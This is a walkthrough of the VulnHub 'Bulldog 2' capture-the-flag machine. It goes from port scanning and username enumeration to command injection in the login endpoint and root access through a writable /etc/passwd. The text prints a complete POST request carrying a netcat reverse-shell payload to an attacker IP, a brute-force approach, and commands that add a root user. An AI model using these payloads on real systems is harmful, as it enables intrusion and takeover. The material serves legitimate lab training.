Capture the flag (CTF)

Bulldog: 2 CTF Walkthrough

In this article we will solve a capture-the-flag (CTF) challenge named “Bulldog 2.” This CTF was posted on VulnHub by the author Nick Frichette.

As per the description given by the author, this is an intermediate-level machine and the goal of this challenge is to read the flag in the root directory. This is the second edition of this machine; its first part was released last year, and it was an interesting challenge to take. You can see the solution for the “Bulldog 1” here.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

For those who are new to my articles, Vulnhub.com is a platform which provides vulnerable machines to gain practical hands-on experience in the field of information security. There are a lot of other challenging CTF exercises available on VulnHub and I highly suggest attempting them, as it is a good way to keep your skills sharp and learn new techniques in a safe environment. You can go through my previous articles to find solutions to these machines and learn new techniques.

Let’s start to set up this machine for solving the challenge. Download the VM to run in a virtual box.

The torrent download URL is also available for this VM, which you can find in the reference section of this article.

Please Note: For all of these machines, I have used Oracle Virtual Box to run the downloaded machine. I will be using Kali Linux as an attacker machine for solving this CTF. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets.

The Walkthrough

In this machine, there is no need to run the Netdiscover command to get the target IP address. When we run the downloaded machine in the virtual box, the IP address is automatically assigned and is displayed on the screen with a nice banner of “Bulldog 2.” As you can see in the following screenshot, the target IP address is 192.168.11.5.

Note: The target machine IP address and attacker IP address may be different in your network configuration, as these are assigned by the DHCP.

Let’s start by running an Nmap full-port scan on the target machine to get the list of open ports and services available on the target machine. The output of the Nmap command can be seen in the following screenshot.

Command Used:  nmap -p- -Pn 192.168.11.5

Explanation:

• We have used -p- switch for full-port scanning
• We have used -Pn switch for No-Ping Scan

It can be seen in the above screenshot that only one port was found to be open on the target machine — the HTTP port, which means that the application is the only way to exploit this machine. So let’s open this on the browser.   

As can be seen in the above screenshot, a website is running on the target machine and a webpage is displayed with an image of bulldog. There are two options in the upper right corner of the website: Login and Registration. I thought registering into the application would be my first step, but when I clicked on the registration link there was a message on the web page stating that registration is not available due to security reasons.

So we could not register on the application. Now let’s open the login page. It can be seen in the following screenshot.

Since we do not have any credentials, I tried with some default credentials like admin, password, root and so on, but no luck. I analyzed the HTML content of the page to get more clues about the application but could not find anything useful for me. I thought that the login page might be vulnerable for SQL injection, so first I tried manually then ran the SQL map, also but didn’t get anything.

As I could not find any clues here, I decided to look for other files and folders on the target application. For this purpose, I used the Dirb tool. This utility is available by default in Kali Linux. I used this tool for enumerating further entry points for the target machine. The tool output can be seen in the following screenshot.

Command Used: dirb http://192.168.11.5

As you can see, we get nothing in the Dirb output.

We’ve tried most of the common techniques on the target machine but could not find anything interesting to move ahead. So I decided to check the application again, and when I looked at the homepage carefully I found that there was another button called “Users” there. I clicked on the button and it took me to another webpage, which can be seen in the following screenshot.

This shows the top monthly users on the website. At this point, I turned Burp Proxy on and passed this request through it. When I checked the burp history I found an interesting URL, which can be seen in the screenshot given below.

In the highlighted area we can see the there is a request which has a parameter being passed through. Let’s move this request to the repeater for further analysis.

This request is extracting the user information from the server through the limit parameter. In the response section, we get a lot of usernames, which can be further used as valid usernames on the target application. I tried SQL Injection in the limit parameter, but it did not seem to be vulnerable for SQL injection. Interestingly, it was accepting the “*” character to show all the users’ information on the target machine. A huge response was generated containing a lot of usernames; this can be seen in the following screenshot.

A large response was returned by the server, containing a total of 15,760 usernames.

So after getting the usernames list, I thought it might be possible that some of the users are using the same username and password. As the login page does not have any brute force protection, we can run the brute-force attack with the list of usernames. We used Burp Intruder for the brute-force attack and transferred the login request to Intruder. It can be seen in the following screenshot.

As can be seen in the above screenshot, we have the login request in the Intruder and selected the attack type as “battering ram” because we will be trying to identify the user which might have the same password as the username. After that, we click on the Payload section and paste all the identified usernames there.

Everything has been set now to launch the attack. The total number of payloads and requests count can be seen in the highlighted area of the above screenshot. We click to start the attack. It will take a long time to complete the attack, as there are so many requests.

In the meanwhile, I scrolled through other requests in Burp History and found that there was a Javascript that looked different by its name. It can be seen in the following screenshot.

When I searched the register word in the response, it gave 15 matches. But the Javascript was not in a readable format, so I used Java Beautifier to convert it into a readable format. It can be seen in the following screenshot.

After converting the Javascript, I analyzed it as the registration word was available multiple times in it. I found some parameter names which were being used for client-side validation, which can be seen in the highlighted area in the above screenshot.

By looking at these parameters, I had an understanding that these might be the parameters used for registration. As we already know from the login request that the application accepts Json data in the POST request, I crafted a request for the registration with the help of Burp Intruder and sent it to the server. It can be seen in the following screenshot.

POST Request:

POST /users/register HTTP/1.1

Host: 192.168.1.7

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.7/login

content-type: application/json

Content-Length: 94

Connection: close

 

{

"name": "hehe",

"email": "hehe@hehe.com",

"username": "hehe",

"password": "hehe"

}

As can be seen in the above request, the post request crafted with the help of the parameters allowed us to successfully register as a user in the application. We get a “success” message in the server response which confirms that the user “hehe” is registered. Let’s try to login into the application.

Username: hehe

Password: hehe

It can be seen in the above screenshot that we have logged into the application, but after exploring the application I found there was no further action/functionality available in the user account. So I went back to the previous step, where we get the error message from the login request. I added the new user’s credentials in the POST request with an addition of double quotes into the password parameter value. Let’s see this in the screenshot given below.

In the highlighted area in the above screenshot, we can see the server response in which we get an interesting folder named “Bulldog-2-The-Reckoning” on the target machine. I searched this on Google and I found a GitHub public repository, which contains the source code of the application which is hosted on the target machine. The message on the repository confirms that it is provided by the author of the CTF. It can be seen in the following screenshot.

I quickly downloaded the source code of the application and started doing some code review. I found some interesting information while checking the login page Javascript, which can be seen in the following screenshot.

In the highlighted area in the above screenshot, we can see that the username and password parameters are directly being parsed into the exec command without any filtering. So it indicates that it might be vulnerable to RCE (Remote Code Execution). I tried to run a few commands on the target machine but did not get any output. Then I used a different technique to verify whether it is vulnerable to command execution.

In the above screenshot, we can see that we have run a ping command and side-by-side we started the TCP dump in a terminal to check the ping command response. We got the response which confirms that command execution vulnerability is exploitable on the target machine.

Now let’s run another command to take the shell access of the target machine, which can be seen in the screenshot given below.

Payload Used: "$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.45 4444 >/tmp/f)"

Complete Post Request with Reverse Connection Payload

POST /users/linkauthenticate HTTP/1.1

Host: 192.168.1.7

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.7/login

content-type: application/json

Content-Length: 124

Connection: close

 

{

 "username": "bbb",

 "password": "$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.45 4444 >/tmp/f)"

}

As you can see: firstly, in a terminal we started the NetCat listener port on the attacker machine, and then we added the above payload in the POST request and sent it to get the reverse connection.

After getting the reverse connection, we executed the Python command to take the stable shell of the target machine. It can be seen in the following screenshot.

Command Used: python -c 'import pty;pty.spawn("/bin/bash")'

Now we have the shell access on the target machine, but this is not root. The target is to take the root access of the target machine.

First, I checked the kernel version of the target machine, but it did not seem to be vulnerable. So I checked the target machine for weak permissions and found that /etc/passwd has full permissions on the target machine. It can be seen in the following screenshot.

Since we have the right permissions on the /etc/passwd file, we can add a new user as a root by editing the passwd file and then we can login as root on the target machine to take the root access. So let’s do this with the help of a few commands. It can be seen in the screenshot given below.

Commands used :

• openssl passwd -1 -salt infosec hehe (It will generate the password hash for the user, Here “infosec” is the salt and “hehe” will be the password which is generated by using the openssl utility)
• echo "hehe:$1$infosec$ETw9rh6a/pn/2nmP5C7JD/:0:0/hehe:bin/bash">> /etc/passwd (This command will add a user hack with hehe password)

As explained above, we have added the user in the /etc/passwd file. So let’s try to login with the new credentials on the target machine.

We have successfully logged into the target machine as a root user! Now it’s time to read the flag file to complete the challenge.

The flag can be seen in the above screenshot. We did it!

This completes the CTF. Stay tuned for more CTF solutions! ‘Til then, keep trying on your own. Practice is what matters the most.

Sources

JavaScript Beautifier, Code Beautify

Bulldog-2-The-Reckoning, GitHub

Bulldog: 2, VulnHub

Download Bulldog 2

Download Bulldog 2 from VulnHub

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

Download Bulldog 2 from VulnHub (Torrent)